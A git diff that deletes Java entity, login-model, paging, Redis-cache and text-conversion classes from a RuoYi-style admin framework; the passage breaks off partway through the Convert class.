- } - - @Size(min = 0, max = 200, message = "组件路径不能超过255个字符") - public String getComponent() - { - return component; - } - - public void setComponent(String component) - { - this.component = component; - } - - public String getIsFrame() - { - return isFrame; - } - - public void setIsFrame(String isFrame) - { - this.isFrame = isFrame; - } - - public String getIsCache() - { - return isCache; - } - - public void setIsCache(String isCache) - { - this.isCache = isCache; - } - - @NotBlank(message = "菜单类型不能为空") - public String getMenuType() - { - return menuType; - } - - public void setMenuType(String menuType) - { - this.menuType = menuType; - } - - public String getVisible() - { - return visible; - } - - public void setVisible(String visible) - { - this.visible = visible; - } - - public String getStatus() - { - return status; - } - - public void setStatus(String status) - { - this.status = status; - } - - @Size(min = 0, max = 100, message = "权限标识长度不能超过100个字符") - public String getPerms() - { - return perms; - } - - public void setPerms(String perms) - { - this.perms = perms; - } - - public String getIcon() - { - return icon; - } - - public void setIcon(String icon) - { - this.icon = icon; - } - - public List getChildren() - { - return children; - } - - public void setChildren(List children) - { - this.children = children; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("menuId", getMenuId()) - .append("menuName", getMenuName()) - .append("parentId", getParentId()) - .append("orderNum", getOrderNum()) - .append("path", getPath()) - .append("component", getComponent()) - .append("isFrame", getIsFrame()) - .append("IsCache", getIsCache()) - .append("menuType", getMenuType()) - .append("visible", getVisible()) - .append("status ", getStatus()) - .append("perms", getPerms()) - .append("icon", getIcon()) - .append("createBy", getCreateBy()) - .append("createTime", getCreateTime()) - .append("updateBy", getUpdateBy()) - .append("updateTime", getUpdateTime()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java deleted file mode 100644 index 2991595..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysRole.java +++ /dev/null @@ -1,226 +0,0 @@ -package com.ruoyi.common.core.domain.entity; - -import javax.validation.constraints.NotBlank; -import javax.validation.constraints.Size; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.annotation.Excel.ColumnType; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 角色表 sys_role - * - * @author ruoyi - */ -public class SysRole extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 角色ID */ - @Excel(name = "角色序号", cellType = ColumnType.NUMERIC) - private Long roleId; - - /** 角色名称 */ - @Excel(name = "角色名称") - private String roleName; - - /** 角色权限 */ - @Excel(name = "角色权限") - private String roleKey; - - /** 角色排序 */ - @Excel(name = "角色排序") - private String roleSort; - - /** 数据范围(1:所有数据权限;2:自定义数据权限;3:本部门数据权限;4:本部门及以下数据权限) */ - @Excel(name = "数据范围", readConverterExp = "1=所有数据权限,2=自定义数据权限,3=本部门数据权限,4=本部门及以下数据权限") - private String dataScope; - - /** 菜单树选择项是否关联显示( 0:父子不互相关联显示 1:父子互相关联显示) */ - private boolean menuCheckStrictly; - - /** 部门树选择项是否关联显示(0:父子不互相关联显示 1:父子互相关联显示 ) */ - private boolean deptCheckStrictly; - - /** 角色状态(0正常 1停用) */ - @Excel(name = "角色状态", readConverterExp = "0=正常,1=停用") - private String status; - - /** 删除标志(0代表存在 2代表删除) */ - private String delFlag; - - /** 用户是否存在此角色标识 默认不存在 */ - private boolean flag = false; - - /** 菜单组 */ - private Long[] menuIds; - - /** 部门组(数据权限) */ - private Long[] deptIds; - - public SysRole() - { - - } - - public SysRole(Long roleId) - { - this.roleId = roleId; - } - - public Long getRoleId() - { - return roleId; - } - - public void setRoleId(Long roleId) - { - this.roleId = roleId; - } - - public boolean isAdmin() - { - return isAdmin(this.roleId); - } - - public static boolean isAdmin(Long roleId) - { - return roleId != null && 1L == roleId; - } - - @NotBlank(message = "角色名称不能为空") - @Size(min = 0, max = 30, message = "角色名称长度不能超过30个字符") - public String getRoleName() - { - return roleName; - } - - public void setRoleName(String roleName) - { - this.roleName = roleName; - } - - @NotBlank(message = "权限字符不能为空") - @Size(min = 0, max = 100, message = "权限字符长度不能超过100个字符") - public String getRoleKey() - { - return roleKey; - } - - public void setRoleKey(String roleKey) - { - this.roleKey = roleKey; - } - - @NotBlank(message = "显示顺序不能为空") - public String getRoleSort() - { - return roleSort; - } - - public void setRoleSort(String roleSort) - { - this.roleSort = roleSort; - } - - public String getDataScope() - { - return dataScope; - } - - public void setDataScope(String dataScope) - { - this.dataScope = dataScope; - } - - public boolean isMenuCheckStrictly() - { - return menuCheckStrictly; - } - - public void setMenuCheckStrictly(boolean menuCheckStrictly) - { - this.menuCheckStrictly = menuCheckStrictly; - } - - public boolean isDeptCheckStrictly() - { - return deptCheckStrictly; - } - - public void setDeptCheckStrictly(boolean deptCheckStrictly) - { - this.deptCheckStrictly = deptCheckStrictly; - } - - public String getStatus() - { - return status; - } - - public void setStatus(String status) - { - this.status = status; - } - - public String getDelFlag() - { - return delFlag; - } - - public void setDelFlag(String delFlag) - { - this.delFlag = delFlag; - } - - public boolean isFlag() - { - return flag; - } - - public void setFlag(boolean flag) - { - this.flag = flag; - } - - public Long[] getMenuIds() - { - return menuIds; - } - - public void setMenuIds(Long[] menuIds) - { - this.menuIds = menuIds; - } - - public Long[] getDeptIds() - { - return deptIds; - } - - public void setDeptIds(Long[] deptIds) - { - this.deptIds = deptIds; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("roleId", getRoleId()) - .append("roleName", getRoleName()) - .append("roleKey", getRoleKey()) - .append("roleSort", getRoleSort()) - .append("dataScope", getDataScope()) - .append("menuCheckStrictly", isMenuCheckStrictly()) - .append("deptCheckStrictly", isDeptCheckStrictly()) - .append("status", getStatus()) - .append("delFlag", getDelFlag()) - .append("createBy", getCreateBy()) - .append("createTime", getCreateTime()) - .append("updateBy", getUpdateBy()) - .append("updateTime", getUpdateTime()) - .append("remark", getRemark()) - .toString(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java deleted file mode 100644 index 90eb337..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java +++ /dev/null @@ -1,331 +0,0 @@ -package com.ruoyi.common.core.domain.entity; - -import java.util.Date; -import java.util.List; -import javax.validation.constraints.Email; -import javax.validation.constraints.NotBlank; -import javax.validation.constraints.Size; - -import com.baomidou.mybatisplus.annotation.TableId; -import org.apache.commons.lang3.builder.ToStringBuilder; -import org.apache.commons.lang3.builder.ToStringStyle; -import com.fasterxml.jackson.annotation.JsonIgnore; -import com.fasterxml.jackson.annotation.JsonProperty; -import com.ruoyi.common.annotation.Excel; -import com.ruoyi.common.annotation.Excel.ColumnType; -import com.ruoyi.common.annotation.Excel.Type; -import com.ruoyi.common.annotation.Excels; -import com.ruoyi.common.core.domain.BaseEntity; - -/** - * 用户对象 sys_user - * - * @author ruoyi - */ -public class SysUser extends BaseEntity -{ - private static final long serialVersionUID = 1L; - - /** 用户ID */ - @Excel(name = "用户序号", cellType = ColumnType.NUMERIC, prompt = "用户编号") - @TableId - private Long userId; - - /** 部门ID */ - @Excel(name = "部门编号", type = Type.IMPORT) - private Long deptId; - - /** 用户账号 */ - @Excel(name = "登录名称") - private String userName; - - /** 用户昵称 */ - @Excel(name = "用户名称") - private String nickName; - - /** 用户邮箱 */ - @Excel(name = "用户邮箱") - private String email; - - /** 手机号码 */ - @Excel(name = "手机号码") - private String phonenumber; - - /** 用户性别 */ - @Excel(name = "用户性别", readConverterExp = "0=男,1=女,2=未知") - private String sex; - - /** 用户头像 */ - private String avatar; - - /** 密码 */ - private String password; - - /** 盐加密 */ - private String salt; - - /** 帐号状态(0正常 1停用) */ - @Excel(name = "帐号状态", readConverterExp = "0=正常,1=停用") - private String status; - - /** 删除标志(0代表存在 2代表删除) */ - private String delFlag; - - /** 最后登录IP */ - @Excel(name = "最后登录IP", type = Type.EXPORT) - private String loginIp; - - /** 最后登录时间 */ - @Excel(name = "最后登录时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Type.EXPORT) - private Date loginDate; - - /** 部门对象 */ - @Excels({ - @Excel(name = "部门名称", targetAttr = "deptName", type = Type.EXPORT), - @Excel(name = "部门负责人", targetAttr = "leader", type = Type.EXPORT) - }) - private SysDept dept; - - /** 角色对象 */ - private List roles; - - /** 角色组 */ - private Long[] roleIds; - - /** 岗位组 */ - private Long[] postIds; - - public SysUser() - { - - } - - public SysUser(Long userId) - { - this.userId = userId; - } - - public Long getUserId() - { - return userId; - } - - public void setUserId(Long userId) - { - this.userId = userId; - } - - public boolean isAdmin() - { - return isAdmin(this.userId); - } - - public static boolean isAdmin(Long userId) - { - return userId != null && 1L == userId; - } - - public Long getDeptId() - { - return deptId; - } - - public void setDeptId(Long deptId) - { - this.deptId = deptId; - } - - @Size(min = 0, max = 30, message = "用户昵称长度不能超过30个字符") - public String getNickName() - { - return nickName; - } - - public void setNickName(String nickName) - { - this.nickName = nickName; - } - - @NotBlank(message = "用户账号不能为空") - @Size(min = 0, max = 30, message = "用户账号长度不能超过30个字符") - public String getUserName() - { - return userName; - } - - public void setUserName(String userName) - { - this.userName = userName; - } - - @Email(message = "邮箱格式不正确") - @Size(min = 0, max = 50, message = "邮箱长度不能超过50个字符") - public String getEmail() - { - return email; - } - - public void setEmail(String email) - { - this.email = email; - } - - @Size(min = 0, max = 11, message = "手机号码长度不能超过11个字符") - public String getPhonenumber() - { - return phonenumber; - } - - public void setPhonenumber(String phonenumber) - { - this.phonenumber = phonenumber; - } - - public String getSex() - { - return sex; - } - - public void setSex(String sex) - { - this.sex = sex; - } - - public String getAvatar() - { - return avatar; - } - - public void setAvatar(String avatar) - { - this.avatar = avatar; - } - - @JsonIgnore - @JsonProperty - public String getPassword() - { - return password; - } - - public void setPassword(String password) - { - this.password = password; - } - - public String getSalt() - { - return salt; - } - - public void setSalt(String salt) - { - this.salt = salt; - } - - public String getStatus() - { - return status; - } - - public void setStatus(String status) - { - this.status = status; - } - - public String getDelFlag() - { - return delFlag; - } - - public void setDelFlag(String delFlag) - { - this.delFlag = delFlag; - } - - public String getLoginIp() - { - return loginIp; - } - - public void setLoginIp(String loginIp) - { - this.loginIp = loginIp; - } - - public Date getLoginDate() - { - return loginDate; - } - - public void setLoginDate(Date loginDate) - { - this.loginDate = loginDate; - } - - public SysDept getDept() - { - return dept; - } - - public void setDept(SysDept dept) - { - this.dept = dept; - } - - public List getRoles() - { - return roles; - } - - public void setRoles(List roles) - { - this.roles = roles; - } - - public Long[] getRoleIds() - { - return roleIds; - } - - public void setRoleIds(Long[] roleIds) - { - this.roleIds = roleIds; - } - - public Long[] getPostIds() - { - return postIds; - } - - public void setPostIds(Long[] postIds) - { - this.postIds = postIds; - } - - @Override - public String toString() { - return new ToStringBuilder(this,ToStringStyle.MULTI_LINE_STYLE) - .append("userId", getUserId()) - .append("deptId", getDeptId()) - .append("userName", getUserName()) - .append("nickName", getNickName()) - .append("email", getEmail()) - .append("phonenumber", getPhonenumber()) - .append("sex", getSex()) - .append("avatar", getAvatar()) - .append("password", getPassword()) - .append("salt", getSalt()) - .append("status", getStatus()) - .append("delFlag", getDelFlag()) - .append("loginIp", getLoginIp()) - .append("loginDate", getLoginDate()) - .append("createBy", getCreateBy()) - .append("createTime", getCreateTime()) - .append("updateBy", getUpdateBy()) - .append("updateTime", getUpdateTime()) - .append("remark", getRemark()) - .append("dept", getDept()) - .toString(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java deleted file mode 100644 index 03948b4..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginBody.java +++ /dev/null @@ -1,69 +0,0 @@ -package com.ruoyi.common.core.domain.model; - -/** - * 用户登录对象 - * - * @author ruoyi - */ -public class LoginBody -{ - /** - * 用户名 - */ - private String username; - - /** - * 用户密码 - */ - private String password; - - /** - * 验证码 - */ - private String code; - - /** - * 唯一标识 - */ - private String uuid = ""; - - public String getUsername() - { - return username; - } - - public void setUsername(String username) - { - this.username = username; - } - - public String getPassword() - { - return password; - } - - public void setPassword(String password) - { - this.password = password; - } - - public String getCode() - { - return code; - } - - public void setCode(String code) - { - this.code = code; - } - - public String getUuid() - { - return uuid; - } - - public void setUuid(String uuid) - { - this.uuid = uuid; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java deleted file mode 100644 index 6e3f1c6..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/model/LoginUser.java +++ /dev/null @@ -1,228 +0,0 @@ -package com.ruoyi.common.core.domain.model; - -import java.util.Collection; -import java.util.Set; -import org.springframework.security.core.GrantedAuthority; -import org.springframework.security.core.userdetails.UserDetails; -import com.fasterxml.jackson.annotation.JsonIgnore; -import com.ruoyi.common.core.domain.entity.SysUser; - -/** - * 登录用户身份权限 - * - * @author ruoyi - */ -public class LoginUser implements UserDetails -{ - private static final long serialVersionUID = 1L; - - /** - * 用户唯一标识 - */ - private String token; - - /** - * 登录时间 - */ - private Long loginTime; - - /** - * 过期时间 - */ - private Long expireTime; - - /** - * 登录IP地址 - */ - private String ipaddr; - - /** - * 登录地点 - */ - private String loginLocation; - - /** - * 浏览器类型 - */ - private String browser; - - /** - * 操作系统 - */ - private String os; - - /** - * 权限列表 - */ - private Set permissions; - - /** - * 用户信息 - */ - private SysUser user; - - public String getToken() - { - return token; - } - - public void setToken(String token) - { - this.token = token; - } - - public LoginUser() - { - } - - public LoginUser(SysUser user, Set permissions) - { - this.user = user; - this.permissions = permissions; - } - - @JsonIgnore - @Override - public String getPassword() - { - return user.getPassword(); - } - - @Override - public String getUsername() - { - return user.getUserName(); - } - - /** - * 账户是否未过期,过期无法验证 - */ - @JsonIgnore - @Override - public boolean isAccountNonExpired() - { - return true; - } - - /** - * 指定用户是否解锁,锁定的用户无法进行身份验证 - * - * @return - */ - @JsonIgnore - @Override - public boolean isAccountNonLocked() - { - return true; - } - - /** - * 指示是否已过期的用户的凭据(密码),过期的凭据防止认证 - * - * @return - */ - @JsonIgnore - @Override - public boolean isCredentialsNonExpired() - { - return true; - } - - /** - * 是否可用 ,禁用的用户不能身份验证 - * - * @return - */ - @JsonIgnore - @Override - public boolean isEnabled() - { - return true; - } - - public Long getLoginTime() - { - return loginTime; - } - - public void setLoginTime(Long loginTime) - { - this.loginTime = loginTime; - } - - public String getIpaddr() - { - return ipaddr; - } - - public void setIpaddr(String ipaddr) - { - this.ipaddr = ipaddr; - } - - public String getLoginLocation() - { - return loginLocation; - } - - public void setLoginLocation(String loginLocation) - { - this.loginLocation = loginLocation; - } - - public String getBrowser() - { - return browser; - } - - public void setBrowser(String browser) - { - this.browser = browser; - } - - public String getOs() - { - return os; - } - - public void setOs(String os) - { - this.os = os; - } - - public Long getExpireTime() - { - return expireTime; - } - - public void setExpireTime(Long expireTime) - { - this.expireTime = expireTime; - } - - public Set getPermissions() - { - return permissions; - } - - public void setPermissions(Set permissions) - { - this.permissions = permissions; - } - - public SysUser getUser() - { - return user; - } - - public void setUser(SysUser user) - { - this.user = user; - } - - @Override - public Collection getAuthorities() - { - return null; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java deleted file mode 100644 index 78ebc04..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/PageDomain.java +++ /dev/null @@ -1,82 +0,0 @@ -package com.ruoyi.common.core.page; - -import com.ruoyi.common.utils.StringUtils; - -/** - * 分页数据 - * - * @author ruoyi - */ -public class PageDomain -{ - /** 当前记录起始索引 */ - private Integer pageNum; - - /** 每页显示记录数 */ - private Integer pageSize; - - /** 排序列 */ - private String orderByColumn; - - /** 排序的方向desc或者asc */ - private String isAsc = "asc"; - - private Boolean offsetPage; - - public String getOrderBy() - { - if (StringUtils.isEmpty(orderByColumn)) - { - return ""; - } - return StringUtils.toUnderScoreCase(orderByColumn) + " " + isAsc; - } - - public Integer getPageNum() - { - return pageNum; - } - - public void setPageNum(Integer pageNum) - { - this.pageNum = pageNum; - } - - public Integer getPageSize() - { - return pageSize; - } - - public void setPageSize(Integer pageSize) - { - this.pageSize = pageSize; - } - - public String getOrderByColumn() - { - return orderByColumn; - } - - public void setOrderByColumn(String orderByColumn) - { - this.orderByColumn = orderByColumn; - } - - public String getIsAsc() - { - return isAsc; - } - - public Boolean getOffsetPage() { - return offsetPage; - } - - public void setOffsetPage(Boolean offsetPage) { - this.offsetPage = offsetPage; - } - - public void setIsAsc(String isAsc) - { - this.isAsc = isAsc; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java deleted file mode 100644 index 847685b..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableDataInfo.java +++ /dev/null @@ -1,85 +0,0 @@ -package com.ruoyi.common.core.page; - -import java.io.Serializable; -import java.util.List; - -/** - * 表格分页数据对象 - * - * @author ruoyi - */ -public class TableDataInfo implements Serializable -{ - private static final long serialVersionUID = 1L; - - /** 总记录数 */ - private long total; - - /** 列表数据 */ - private List rows; - - /** 消息状态码 */ - private int code; - - /** 消息内容 */ - private String msg; - - /** - * 表格数据对象 - */ - public TableDataInfo() - { - } - - /** - * 分页 - * - * @param list 列表数据 - * @param total 总记录数 - */ - public TableDataInfo(List list, int total) - { - this.rows = list; - this.total = total; - } - - public long getTotal() - { - return total; - } - - public void setTotal(long total) - { - this.total = total; - } - - public List getRows() - { - return rows; - } - - public void setRows(List rows) - { - this.rows = rows; - } - - public int getCode() - { - return code; - } - - public void setCode(int code) - { - this.code = code; - } - - public String getMsg() - { - return msg; - } - - public void setMsg(String msg) - { - this.msg = msg; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java deleted file mode 100644 index 9f00a80..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/page/TableSupport.java +++ /dev/null @@ -1,49 +0,0 @@ -package com.ruoyi.common.core.page; - -import com.ruoyi.common.utils.ServletUtils; - -/** - * 表格数据处理 - * - * @author ruoyi - */ -public class TableSupport { - /** - * 当前记录起始索引 - */ - public static final String PAGE_NUM = "pageNum"; - - /** - * 每页显示记录数 - */ - public static final String PAGE_SIZE = "pageSize"; - - /** - * 排序列 - */ - public static final String ORDER_BY_COLUMN = "orderByColumn"; - - /** - * 排序的方向 "desc" 或者 "asc". - */ - public static final String IS_ASC = "isAsc"; - - public static final String OFFSET_PAGE = "offsetPage"; - - /** - * 封装分页对象 - */ - public static PageDomain getPageDomain() { - PageDomain pageDomain = new PageDomain(); - pageDomain.setPageNum(ServletUtils.getParameterToInt(PAGE_NUM)); - pageDomain.setPageSize(ServletUtils.getParameterToInt(PAGE_SIZE)); - pageDomain.setOrderByColumn(ServletUtils.getParameter(ORDER_BY_COLUMN)); - pageDomain.setIsAsc(ServletUtils.getParameter(IS_ASC)); - pageDomain.setOffsetPage(ServletUtils.getParameterToBool(OFFSET_PAGE)); - return pageDomain; - } - - public static PageDomain buildPageRequest() { - return getPageDomain(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java deleted file mode 100644 index 22a610d..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/redis/RedisCache.java +++ /dev/null @@ -1,234 +0,0 @@ -package com.ruoyi.common.core.redis; - -import java.util.Collection; -import java.util.Iterator; -import java.util.List; -import java.util.Map; -import java.util.Set; -import java.util.concurrent.TimeUnit; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.redis.core.BoundSetOperations; -import org.springframework.data.redis.core.HashOperations; -import org.springframework.data.redis.core.RedisTemplate; -import org.springframework.data.redis.core.ValueOperations; -import org.springframework.stereotype.Component; - -/** - * spring redis 工具类 - * - * @author ruoyi - **/ -@SuppressWarnings(value = { "unchecked", "rawtypes" }) -@Component -public class RedisCache -{ - @Autowired - public RedisTemplate redisTemplate; - - /** - * 缓存基本的对象,Integer、String、实体类等 - * - * @param key 缓存的键值 - * @param value 缓存的值 - */ - public void setCacheObject(final String key, final T value) - { - redisTemplate.opsForValue().set(key, value); - } - - /** - * 缓存基本的对象,Integer、String、实体类等 - * - * @param key 缓存的键值 - * @param value 缓存的值 - * @param timeout 时间 - * @param timeUnit 时间颗粒度 - */ - public void setCacheObject(final String key, final T value, final Integer timeout, final TimeUnit timeUnit) - { - redisTemplate.opsForValue().set(key, value, timeout, timeUnit); - } - - /** - * 设置有效时间 - * - * @param key Redis键 - * @param timeout 超时时间 - * @return true=设置成功;false=设置失败 - */ - public boolean expire(final String key, final long timeout) - { - return expire(key, timeout, TimeUnit.SECONDS); - } - - /** - * 设置有效时间 - * - * @param key Redis键 - * @param timeout 超时时间 - * @param unit 时间单位 - * @return true=设置成功;false=设置失败 - */ - public boolean expire(final String key, final long timeout, final TimeUnit unit) - { - return redisTemplate.expire(key, timeout, unit); - } - - /** - * 获得缓存的基本对象。 - * - * @param key 缓存键值 - * @return 缓存键值对应的数据 - */ - public T getCacheObject(final String key) - { - ValueOperations operation = redisTemplate.opsForValue(); - return operation.get(key); - } - - /** - * 删除单个对象 - * - * @param key - */ - public boolean deleteObject(final String key) - { - return redisTemplate.delete(key); - } - - /** - * 删除集合对象 - * - * @param collection 多个对象 - * @return - */ - public long deleteObject(final Collection collection) - { - return redisTemplate.delete(collection); - } - - /** - * 缓存List数据 - * - * @param key 缓存的键值 - * @param dataList 待缓存的List数据 - * @return 缓存的对象 - */ - public long setCacheList(final String key, final List dataList) - { - Long count = redisTemplate.opsForList().rightPushAll(key, dataList); - return count == null ? 0 : count; - } - - /** - * 获得缓存的list对象 - * - * @param key 缓存的键值 - * @return 缓存键值对应的数据 - */ - public List getCacheList(final String key) - { - return redisTemplate.opsForList().range(key, 0, -1); - } - - /** - * 缓存Set - * - * @param key 缓存键值 - * @param dataSet 缓存的数据 - * @return 缓存数据的对象 - */ - public BoundSetOperations setCacheSet(final String key, final Set dataSet) - { - BoundSetOperations setOperation = redisTemplate.boundSetOps(key); - Iterator it = dataSet.iterator(); - while (it.hasNext()) - { - setOperation.add(it.next()); - } - return setOperation; - } - - /** - * 获得缓存的set - * - * @param key - * @return - */ - public Set getCacheSet(final String key) - { - return redisTemplate.opsForSet().members(key); - } - - /** - * 缓存Map - * - * @param key - * @param dataMap - */ - public void setCacheMap(final String key, final Map dataMap) - { - if (dataMap != null) { - redisTemplate.opsForHash().putAll(key, dataMap); - } - } - - /** - * 获得缓存的Map - * - * @param key - * @return - */ - public Map getCacheMap(final String key) - { - return redisTemplate.opsForHash().entries(key); - } - - /** - * 往Hash中存入数据 - * - * @param key Redis键 - * @param hKey Hash键 - * @param value 值 - */ - public void setCacheMapValue(final String key, final String hKey, final T value) - { - redisTemplate.opsForHash().put(key, hKey, value); - } - - /** - * 获取Hash中的数据 - * - * @param key Redis键 - * @param hKey Hash键 - * @return Hash中的对象 - */ - public T getCacheMapValue(final String key, final String hKey) - { - HashOperations opsForHash = redisTemplate.opsForHash(); - return opsForHash.get(key, hKey); - } - - /** - * 获取多个Hash中的数据 - * - * @param key Redis键 - * @param hKeys Hash键集合 - * @return Hash对象集合 - */ - public List getMultiCacheMapValue(final String key, final Collection hKeys) - { - return redisTemplate.opsForHash().multiGet(key, hKeys); - } - - /** - * 获得缓存的基本对象列表 - * - * @param pattern 字符串前缀 - * @return 对象列表 - */ - public Collection keys(final String pattern) - { - return redisTemplate.keys(pattern); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java deleted file mode 100644 index 84124aa..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/CharsetKit.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.ruoyi.common.core.text; - -import java.nio.charset.Charset; -import java.nio.charset.StandardCharsets; -import com.ruoyi.common.utils.StringUtils; - -/** - * 字符集工具类 - * - * @author ruoyi - */ -public class CharsetKit -{ - /** ISO-8859-1 */ - public static final String ISO_8859_1 = "ISO-8859-1"; - /** UTF-8 */ - public static final String UTF_8 = "UTF-8"; - /** GBK */ - public static final String GBK = "GBK"; - - /** ISO-8859-1 */ - public static final Charset CHARSET_ISO_8859_1 = Charset.forName(ISO_8859_1); - /** UTF-8 */ - public static final Charset CHARSET_UTF_8 = Charset.forName(UTF_8); - /** GBK */ - public static final Charset CHARSET_GBK = Charset.forName(GBK); - - /** - * 转换为Charset对象 - * - * @param charset 字符集,为空则返回默认字符集 - * @return Charset - */ - public static Charset charset(String charset) - { - return StringUtils.isEmpty(charset) ? Charset.defaultCharset() : Charset.forName(charset); - } - - /** - * 转换字符串的字符集编码 - * - * @param source 字符串 - * @param srcCharset 源字符集,默认ISO-8859-1 - * @param destCharset 目标字符集,默认UTF-8 - * @return 转换后的字符集 - */ - public static String convert(String source, String srcCharset, String destCharset) - { - return convert(source, Charset.forName(srcCharset), Charset.forName(destCharset)); - } - - /** - * 转换字符串的字符集编码 - * - * @param source 字符串 - * @param srcCharset 源字符集,默认ISO-8859-1 - * @param destCharset 目标字符集,默认UTF-8 - * @return 转换后的字符集 - */ - public static String convert(String source, Charset srcCharset, Charset destCharset) - { - if (null == srcCharset) - { - srcCharset = StandardCharsets.ISO_8859_1; - } - - if (null == destCharset) - { - destCharset = StandardCharsets.UTF_8; - } - - if (StringUtils.isEmpty(source) || srcCharset.equals(destCharset)) - { - return source; - } - return new String(source.getBytes(srcCharset), destCharset); - } - - /** - * @return 系统字符集编码 - */ - public static String systemCharset() - { - return Charset.defaultCharset().name(); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java deleted file mode 100644 index 1fb7461..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/core/text/Convert.java +++ /dev/null @@ -1,1005 +0,0 @@ -package com.ruoyi.common.core.text; - -import java.math.BigDecimal; -import java.math.BigInteger; -import java.nio.ByteBuffer; -import java.nio.charset.Charset; -import java.text.NumberFormat; -import java.util.Set; -import com.ruoyi.common.utils.StringUtils; -import org.apache.commons.lang3.ArrayUtils; - -/** - * 类型转换器 - * - * @author ruoyi - */ -public class Convert -{ - /** - * 转换为字符串
- * 如果给定的值为null,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static String toStr(Object value, String defaultValue) - { - if (null == value) - { - return defaultValue; - } - if (value instanceof String) - { - return (String) value; - } - return value.toString(); - } - - /** - * 转换为字符串
- * 如果给定的值为null,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static String toStr(Object value) - { - return toStr(value, null); - } - - /** - * 转换为字符
- * 如果给定的值为null,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static Character toChar(Object value, Character defaultValue) - { - if (null == value) - { - return defaultValue; - } - if (value instanceof Character) - { - return (Character) value; - } - - final String valueStr = toStr(value, null); - return StringUtils.isEmpty(valueStr) ? defaultValue : valueStr.charAt(0); - } - - /** - * 转换为字符
- * 如果给定的值为null,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static Character toChar(Object value) - { - return toChar(value, null); - } - - /** - * 转换为byte
- * 如果给定的值为null,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static Byte toByte(Object value, Byte defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof Byte) - { - return (Byte) value; - } - if (value instanceof Number) - { - return ((Number) value).byteValue(); - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - return Byte.parseByte(valueStr); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为byte
- * 如果给定的值为null,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static Byte toByte(Object value) - { - return toByte(value, null); - } - - /** - * 转换为Short
- * 如果给定的值为null,或者转换失败,返回默认值
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @param defaultValue 转换错误时的默认值 - * @return 结果 - */ - public static Short toShort(Object value, Short defaultValue) - { - if (value == null) - { - return defaultValue; - } - if (value instanceof Short) - { - return (Short) value; - } - if (value instanceof Number) - { - return ((Number) value).shortValue(); - } - final String valueStr = toStr(value, null); - if (StringUtils.isEmpty(valueStr)) - { - return defaultValue; - } - try - { - return Short.parseShort(valueStr.trim()); - } - catch (Exception e) - { - return defaultValue; - } - } - - /** - * 转换为Short
- * 如果给定的值为null,或者转换失败,返回默认值null
- * 转换失败不会报错 - * - * @param value 被转换的值 - * @return 结果 - */ - public static Short toShort(Object value) - { - return toShort(value, null); - } - - /** - * 转换为Number
- * 如果给定的值为空,或者转换失败,返回默认值
